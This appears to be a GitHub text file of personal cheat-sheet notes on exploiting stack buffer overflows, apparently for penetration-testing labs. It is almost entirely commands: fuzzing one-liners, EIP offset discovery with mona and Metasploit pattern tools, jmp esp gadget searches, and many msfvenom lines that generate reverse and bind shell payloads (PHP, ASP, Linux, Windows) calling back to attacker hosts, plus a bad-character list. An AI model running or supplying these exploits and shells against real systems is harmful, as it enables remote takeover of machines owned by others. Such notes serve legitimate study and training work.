-
Notifications
You must be signed in to change notification settings - Fork 1
/
buffer_over.txt
113 lines (95 loc) · 5.67 KB
/
buffer_over.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
Buffer overflow
Definitions:
ESP points on the top of the stack, EIP holds next address to execute
Program to fuzz:
edb --run /usr/games/crossfire/bin/crossfire -Run vuln app in kali
Fuzz to cause crash:
fuzzer.py (for example, crashes on "A"*2700), Immunity debugger OR edb --run /usr/games/crossfire/bin/crossfire
edb --run r00t $(python -c 'print ("A"*268+"B"*4+"C"*137)')
python -c 'print "A" * 1000' | ./password
OR
./r00t $(python -c 'print "A"*268')
gdb --args ./movie_search "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A"
run
info registers -To see if EIP overwritten
x/100cb $esp -To check ESP
objdump -D ./movie_search | grep jmp.*esp
Replicate crash:
!mona config -set workingfolder C:\Mona_output
!mona pattern_create 2700
!mona pattern_offset 39694438
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700 -Generate unique string 2700 chars
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438 -Address of EIP during crash
buffer = "A"*2606 + "B"*4 + "C"*90 -As pattern_offset.rb answered 2606 + EIP + number of "C" to reach original 2700 buffer
try to increase buffer of "C" as 90 is not enough for shell (350-400 needed)
Jump to shellcode:
locate if any of registers are refering on "C" or "A", for example ESP
Case 1: Ideal, when register points in the beginning of the "A" or "C", we just redirect output to that register
!mona modules -To find suitable dll for jump to register (ESP or other) we need (no memory protections, no bad chars)
click e menue for executable, open dll found and search - command for jmp esp or sequence push esp <Enter> retn
if no memory protection, search through dll for jmp esp code (FFE4)
ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
!mona find -s "\xff\xe4" -m <dll_name>.dll 775BE871 65 D1 1D 71
OR
!mona jmp -r esp -m <dll_name>.dll
check the address is pointing on jmp esp and copy it to exploit EIP overwrite instead of "B"
use little endian format, for 5F4A358F write "\x8f\x35\x4a\x5f"
To set a breakpoint:
Edb debugger:
Do not run the program, right click goto address of jmp esp, double click on it then run <F8> for next
Immunity Debugger: find address Ctrl+G,set a breakpoint <F2> on jump address (5F4A358F), once hit a breakpoint press <F7>
Case 2: Register points earlier then shellcode could be placed.
Example: ESP points on beginning of "C" but only 7 bytes avaliable
EAX points to "setup sound AAAAAAAAAAAA..." so we need to skip 12 bytes in this case
ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > add eax, 12 AND nasm > jmp eax
get the output 83C00CFFE0 and put it instead of "C" "\x83\xC0\x0C\xFF\xE0" + "\x90\x90". Now ESP points to beginning of "A"
Jump to ESP:
In edb debugger During the crash Choose plugins - opcode searcher
Choose ESP -> EIP to find where EIP is pointing jump to ESP (08134597: jmp esp)
Set it instead of "B" - "\x97\x45\x13\x08" (little endian)
Jump to ECX:
During the crash Choose ECX -> EIP (080640eb: call ecx)
Set it instead of "B" - "\xeb\x40\x06\x08" (little endian)
GDB syntax (nebula)
gdb /home/flag13/flag13
b main
r
disass main
b *0x080484f4
info registers
c
set $eax=1000
c
Shell gen:
PHP base64 msfvenom -p php/meterpreter/reverse_tcp LPORT=4466 LHOST=192.168.186.140 -e php/base64 -f raw -o reverse-php-4466.php
PHP msfvenom -p php/meterpreter_reverse_tcp LPORT=443 LHOST=10.11.0.76 -f raw -o php-443.txt
ASP msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.76 LPORT=443 -f asp -o infected1.asp
JS msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.11.0.166 LPORT=443 -f js_le -e generic/none
Linux msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o /var/www/html/bind-4444-linux
Shellcode:
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -b '\x00\x0a\x0d\x20' -f python -o bind.txt
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.xx LPORT=443 -f perl -b \x00\x0A\x0D\xFF
msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d\x20' -f python -o bind.txt
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.166 LPORT=443 EXITFUNC=thread -f c -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
linux/x86/meterpreter_reverse_tcp LHOST=192.168.1.109 LPORT=443
copy shell to exploit, set several "\x90"*16 in the beginning so there's space to decode itself
badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )